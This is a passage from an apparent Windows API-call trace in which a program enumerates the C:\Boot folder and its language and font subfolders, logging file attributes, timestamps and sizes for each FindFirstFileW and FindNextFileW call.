ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.739] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.739] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0063.739] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.739] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0063.739] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.739] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0063.740] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.740] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.740] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.740] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0063.740] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.740] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.740] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d08 [0063.741] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.741] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.741] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.741] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.741] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0063.741] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.741] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0063.741] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.741] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583188 [0063.742] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.742] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.742] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.742] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.742] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0063.742] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.742] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0063.742] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.742] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d88 [0063.743] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.743] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.743] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.744] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0063.744] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.744] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0063.744] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.744] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583248 [0063.744] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.744] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.744] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.744] FindClose (in: hFindFile=0x583248 | out: hFindFile=0x583248) returned 1 [0063.744] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.744] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0063.744] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.744] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582ec8 [0063.745] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.745] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.745] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.745] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.745] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0063.748] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.748] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0063.748] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.748] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582c08 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0063.752] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", 